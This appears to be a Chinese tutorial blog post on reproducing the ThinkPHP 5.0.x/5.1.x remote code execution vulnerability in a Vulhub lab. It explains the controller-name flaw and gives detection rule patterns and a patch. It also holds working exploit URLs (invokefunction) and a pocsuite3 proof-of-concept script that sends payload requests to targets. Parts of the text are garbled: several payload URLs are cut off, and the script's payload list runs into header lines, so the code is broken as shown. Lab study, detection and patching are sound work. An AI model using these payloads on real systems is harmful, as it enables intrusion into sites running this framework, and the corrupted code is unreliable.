行业新闻

Vulhub漏洞系列:ThinkPHP5 5.0.x5.1.x 远程代码执行漏洞

Vulhub漏洞系列:ThinkPHP5 5.0.x5.1.x 远程代码执行漏洞

ThinkPHP5 5.0.x/5.1.x 远程代码执行漏洞

本文章适合正在利用vulhub进行漏洞复现的朋友,或者准备学习漏洞复现的朋友,大佬就可以绕过了,写的比较基础。我也是一个小白,总结一下对于vulhub的使用技巧和一些漏洞原理,也分享一些自己觉得好用的方法给大家,欢迎大家帮我补充,有什么好用的技巧也可以分享一下,大家共同进步。本篇有自己的理解,如果有什么不对的或者不好的地方希望大家不要喷我,但是欢迎帮我指正。最后希望大家可以关注我的专栏。

1.漏洞描述:

ThinkPHP是一款运用极广的PHP开发框架。其版本5.0.x/5.1.x中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

2.漏洞原理:

这里选择对vulhub中 thinkphp5.0.20版本漏洞进行分析,关键函数开头。

由于没有在配置文件定义任何路由,所以默认按照方式1解析调度。如果开启强制路由模式,会直接抛出错误。进入docker实例环境中查看thinkphp源代码如下。

thinkphp/library/think/App.php

image.png

可以看到tp5在解析URL的时候只是将URL按分割符分割,并没有进行安全检测。继续往下看

thinkphp/library/think/Route.php




image.png

在攻击时注意使用一个已存在的module,否则会抛出异常,无法继续运行。
thinkphp/library/think/App.php
image.png

此处在获取控制器名时直接从之前的解析结果中获取,无任何安全检查。
thinkphp/library/think/App.phpimage.png

在这里对控制器类进行实例化,再往下看。
thinkphp/library/think/App.php

image.png

根据传入的name获取对应的类,如果存在就直接返回这个类的一个实例化对象

thinkphp/library/think/Loader.php

image.png查看getModuleAndClass方法:可以看到如果控制器名中有\,就直接返回。

thinkphp/library/think/Loader.phpimage.png回到thinkphp/library/think/App.phpmodule方法,正常情况下应该获取到对应控制器类的实例化对象,而我们现在得到了一个\think\App的实例化对象,进而通过url调用其任意的public方法,同时解析url中的额外参数,当作方法的参数传入。

thinkphp/library/think/App.phpimage.png

3.漏洞利用:

进入我们的vulhub目中搭建漏洞环境

注意我们这里的thinkphp版本为

thinkphp 5.0.20

image.png

打开浏览器

http://your-ip/index.php?s=index/\think\app/invokefunction?>



5.0.x php版本>=5.4
http://your-ip/index.php?s=index/think\app/invokefunctionfont-style:italic">from collections import OrderedDict
import requests
from pocsuite3.api import Output, POCBase, OptString, register_poc, POC_CATEGORY, OptDict


class thinkphpPOC(POCBase):
vulID = '004' # ssvid
version = '1.0'
author = ['xssle']
vulDate = '2019-10-09'
createDate = '2019-10-09'
updateDate = '2019-10-09'
references = ['https://www.seebug.org/vuldb/ssvid-97181']
name = 'thinkphp 5.x全版本任意代码执行'
appPowerLink = 'http://www.thinkphp.cn/topic/60390.html'
appName = 'thinkphp'
appVersion = '5.x'
vulType = 'Code execution'
desc = '''
ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程代码执行漏洞。
'''
samples = []
install_requires = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
protocol = POC_CATEGORY.PROTOCOL.HTTP

def _verify(self):
result = {}
exp = [
"/index.php?s=/index/\\think\\app/invokefunction Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9'
}
vul_url = self.url
if vul_url.endswith('/'):
vul_url = vul_url[:-1]
if "http://" in vul_url:
host = vul_url[7:]
elif "https://" in vul_url:
host = vul_url[8:]
else:
host = vul_url
get_headers['Host'] = host
for i in exp:
payloadurl = vul_url + i
r = requests.get(url=payloadurl, headers=get_headers)
try:
if r.status_code == 200 and "title>phpinfo()/title>" in r.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = payloadurl
return self.parse_output(result)
except Exception as ex:
pass


def _attack(self):
return self._verify()


def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output


register_poc(thinkphpPOC)


image.png

5.漏洞规则总结:

在漏洞规则检测方面要注意大小写和斜杠绕过,要利用正则进行全方面的匹配

规则
s=/Index/\think\app/invokefunction
s=Index/\think\app/invokefunction
s=index/\think\app/invokefunction
s=index/think\app/invokefunction
s=index/think\request
s=index/\think\template\driver\file

6.漏洞防御:

直接添加补丁,在thinkphp5.0版本的thinkphp/library/think/App.php554行,thinkphp5.1版本的thinkphp/library/think/route/dispatch/Url.php63行添加如下代码:

if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
       throw new HttpException(404, 'controller not exists:' . $controller);
   }